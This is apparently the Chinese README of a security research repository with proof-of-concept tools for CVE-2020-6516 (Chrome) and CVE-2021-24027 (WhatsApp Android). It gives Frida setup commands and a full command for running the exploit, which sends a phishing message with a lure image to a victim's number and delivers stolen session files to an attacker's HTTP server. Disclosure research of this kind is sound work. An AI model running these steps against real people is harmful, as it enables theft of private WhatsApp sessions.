
用于利用CVE-2020-6516(Chrome)和CVE-2021-24027(WhatsApp)的PoC和工具
此仓库包含作为我们研究[01]一部分开发的PoC代码和工具,旨在远程利用Android版WhatsApp的磁盘中间人(MitD)漏洞。正如在我们的博客文章中讨论的,这里提供的代码和附带脚本被用于利用CVE-2020-6516(Chrome)[02]和CVE-2021-24027(WhatsApp)[03]。
此仓库的结构如下:
当前目录包含使用Frida钩住WhatsApp、发送携带CORS绕过载荷的钓鱼消息并运行HTTP服务器的Python工具,来自受害者设备的被窃取会话文件将被发送到该服务器。
tls12_psk_extract/ 包含TLS v1.2 MitM工具集。有关如何准备MitM环境的更多信息,请参阅该目录中的README.md。
watls_psk_extract/ 包含TLS v1.3 (WaTLS) MitM工具集。有关如何准备MitM环境的更多信息,请参阅该目录中的README.md。
openssl-1.1.1f-patches/ 包含设置TLS v1.2和/或TLS v1.3 MitM环境所需的OpenSSL 1.1.1f补丁。
secrets/ 包含一个简单的shell脚本和OpenSSL配置,用于生成类似于WhatsApp TLS v1.3基础设施所使用的证书。生成的密钥和证书可用于TLS v1.2和v1.3 MitM。
最后但同样重要的是,misc/ 包含我们研究期间用于测试和调试目的的各种Frida脚本,可能对其他研究人员有帮助。
要测试PoC,你需要一台运行WhatsApp 2.20.206.22 [04]的Android设备。尽管我们的代码最初是为2.19.355开发的,并且你可以在**frida_scripts/**下找到相应的代码片段,但该版本如今已被视为“过期”,无法正常工作。
在启动PoC之前,最好尽可能少地编译WhatsApp的DEX代码。这样做可能有助于主动避免诸如Frida无法钩住特定方法等问题。
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
下载Frida服务器并将其推送到你的Android设备的 /data/local/tmp 目录下,保持默认文件名不变。版本12.8.10经过测试,已知运行良好。如果你愿意,也可以下载更新的版本。PoC将自动检测Frida服务器二进制文件,并尝试使用适当的命令行参数执行它。
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
漏洞利用的主要逻辑在 main.py 中实现。文件 adb.py 和 frida_util.py 是我们内部用于Android设备各种调试任务的工具的简化版本。
要运行PoC,请将你的Android设备连接到计算机,然后运行以下命令:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
传递给 main.py 的命令行开关如下:
-s - 要使用的Android设备的序列号,以防攻击者的计算机上连接了多个Android设备。
-a 和 -p - HTTP服务器的地址和端口,被窃取的会话将发送到该服务器。
-r - 指示 main.py 在本地计算机上启动上述HTTP服务器。如果不传递 -r,请确保在 -a 和 -p 指定的主机上运行 server.py。
位置参数如下:
images/guardian.jpg - 一个JPG图像,将用作虚假消息预览,以诱使受害者点击它。
[email protected] - 受害者的手机号码,采用WhatsApp格式。通常是国家前缀后跟手机号码。例如,希腊号码(+30)看起来像 [email protected]。
"Rush for Mediterranean gas" - 用作消息标题的任意字符串。
有关实际使用示例,请参阅我们的博客文章,更具体地说,请参阅演示视频。
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027